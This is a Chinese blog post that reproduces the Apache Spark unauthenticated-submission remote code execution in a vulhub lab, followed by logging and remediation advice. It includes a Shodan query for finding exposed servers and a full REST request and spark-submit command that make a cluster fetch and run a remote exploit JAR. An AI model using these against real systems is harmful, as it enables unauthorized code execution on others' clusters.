Apache Spark 未授权访问漏洞复现
漏洞简述
Apache Spark是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点未启动ACL(访问控制),我们将可以在集群中执行任意代码。
漏洞影响版本
全版本,但利用需要目标 开放REST API 6066 端口 或者 开放submissions网关 7077 端口。
Shodan 搜索语法
http.title:"Spark Master at spark"

漏洞exp
https://github.com/aRe00t/rce-over-spark/
漏洞环境搭建
使用vulhub进行复现。环境启动后,访问http://your-ip:8080
即可看到master的管理页面,访问http://your-ip:8081
即可看到slave的管理页面。


漏洞复现
漏洞本质是未授权的用户可以向管理节点提交一个应用,这个应用实际上是恶意代码。
用REST API方式提交应用
POST /v1/submissions/create HTTP/1.1 Host: vul.zgao.top:6066 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/json Connection: close Content-Length: 681 { "action": "CreateSubmissionRequest", "clientSparkVersion": "2.3.1", "appArgs": [ "whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf" ], "appResource": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar", "environmentVariables": { "SPARK_ENV_LOADED": "1" }, "mainClass": "Exploit", "sparkProperties": { "spark.jars": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar", "spark.driver.supervise": "false", "spark.app.name": "Exploit", "spark.eventLog.enabled": "true", "spark.submit.deployMode": "cluster", "spark.master": "spark://vul.zgao.top:6066" } }

其中,spark.jars
即是编译好的应用,mainClass是待运行的类,appArgs是传给应用的参数。
返回的包中有submissionId,然后访问http://your-ip:8081/logPage/?driverId={submissionId}&logType=stdout
,即可查看执行结果。

注意提交应用是在master中,查看结果是在具体执行这个应用的slave里(默认8081端口),实战中slave可能有多个。上面我在8080提交的应用,执行结果在8081上。
利用submissions网关
如果6066端口不能访问,或做了权限控制,我们可以利用master的主端口7077,来提交应用。方法是利用Apache Spark自带的脚本bin/spark-submit
,可以进到容器内部执行该命令。
bin/spark-submit --master spark://your-ip:7077 --deploy-mode cluster --class Exploit https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar id

如果你指定的master参数是rest服务器,这个脚本会先尝试使用rest api来提交应用;如果发现不是rest服务器,则会降级到使用submission gateway来提交应用。查看结果的方式与前面一致。

溯源排查
日志位置:/usr/local/spark/logs

但是日志并未记录ip。
修复方式
- 建议通过iptables或者安全组配置访问策略,限制对8088、8081、7707、6606等端口的访问;并且如无必要,不要将接口开放在公网,改为本地或者内网调用;
- 建议使用Spark的yarn控制模式,并且开启HTTP Kerberos对WEB UI进行访问控制;如采用Spark standalone模式,需要自行实现访问控制的jar包,并设置spark.ui.filters对WEB UI进行访问控制,
http://spark.apache.org/docs/latest/configuration.html
微信赞赏
支付宝赞赏
目前为止有一条评论